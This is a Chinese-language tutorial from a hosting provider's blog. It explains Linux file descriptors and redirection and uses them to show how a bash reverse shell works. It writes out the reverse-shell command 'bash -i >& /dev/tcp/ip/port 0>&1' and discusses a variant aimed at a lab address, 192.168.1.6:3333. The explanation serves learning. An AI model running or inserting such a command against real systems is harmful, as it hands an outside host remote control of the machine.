如何理解Linux重定向及反弹shell

发布时间:2021-11-23 16:24:12 作者:柒染
来源:亿速云 阅读:133

如何理解Linux重定向及反弹shell,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

这里说Linux重定向的原因主要还是为了详细了解一下Linux中的反弹shell

0x01 文件描述符

Linux的文件描述符有以下三种

标准输入:0

标准输出:1

错误输出:2

对于文件描述符就先知道这些就可以了,具体的使用会在重定向中来说,重定向就是对文件描述符的操作

0x02 重定向

重定向主要分为以下两种

输入重定向 <、<<

输出重定向 >、>>

通过下面的两张图就可以很明白的看出来他们的用途了

如何理解Linux重定向及反弹shell

如何理解Linux重定向及反弹shell

我们也可以把错误的内容重定向到另一个文件中的

下面这个操作,我们就可以把正确的结果放到test.txt,而把错误的结果放到test1.txt文件中

如何理解Linux重定向及反弹shell

其实这里的&符号是为了区分文件跟文件描述符的,如果这里没有&符号,系统会把它理解为文件,而不是标准输出

0x03 反弹shell

下面是很常见的一条反弹shell命令,我们就以这个为例来进行解释

bash -i >& /dev/tcp/ip/port 0>&1

解释

bash -i

表示创建一个交互式的shell,可以在帮助文档中看到

如何理解Linux重定向及反弹shell

/dev/tcp/ip/port

实际上这个文件不是存在的,但是当你在监听这个端口的时候,对这个文件进行读写,就可以实现两个主机之间的socket通信

如何理解Linux重定向及反弹shell

0>&1

将标准输入和标准输出重定向到指定的文件中

如果把这条命令改成2>&1可能会更容易理解一点

如何理解Linux重定向及反弹shell

如果理解了上面这个的话,对于这个就很容易理解了

>&

将前面的后和后面的一致,就是将交互式的shell传给我们的远程主机

理解了上面的内容,我们将标准输出改为标准输入,看一下会发生什么事情

如何理解Linux重定向及反弹shell

如何理解Linux重定向及反弹shell

如何理解Linux重定向及反弹shell

如何理解Linux重定向及反弹shell

在这个情况下的逻辑就是,从/dev/tcp/192.168.1.6/3333获取输入,然后将输出重定向到/dev/tcp/192.168.1.6/3333,从而形成了一个回路

如何理解Linux重定向及反弹shell

如何理解Linux重定向及反弹shell

如何理解Linux重定向及反弹shell

可以发现两者的效果是一样的,它们唯一的不同是打开文件时候的方式不同,其他的内容都与我们前面说的是一样的

同样的,我们将 0>&1 变为 0>&2 是一样的效果

至于其他的变形类型的,就按照上面所说的那些东西自己去推算即可。

看完上述内容,你们掌握如何理解Linux重定向及反弹shell的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注亿速云行业资讯频道,感谢各位的阅读!

推荐阅读:
  1. 反弹shell
  2. Linux中bash反弹shell的原理是什么

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

shell linux

上一篇:怎么用Python打造一个爱奇艺热播好剧提前搜系统

下一篇:c语言怎么实现含递归清场版扫雷游戏

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》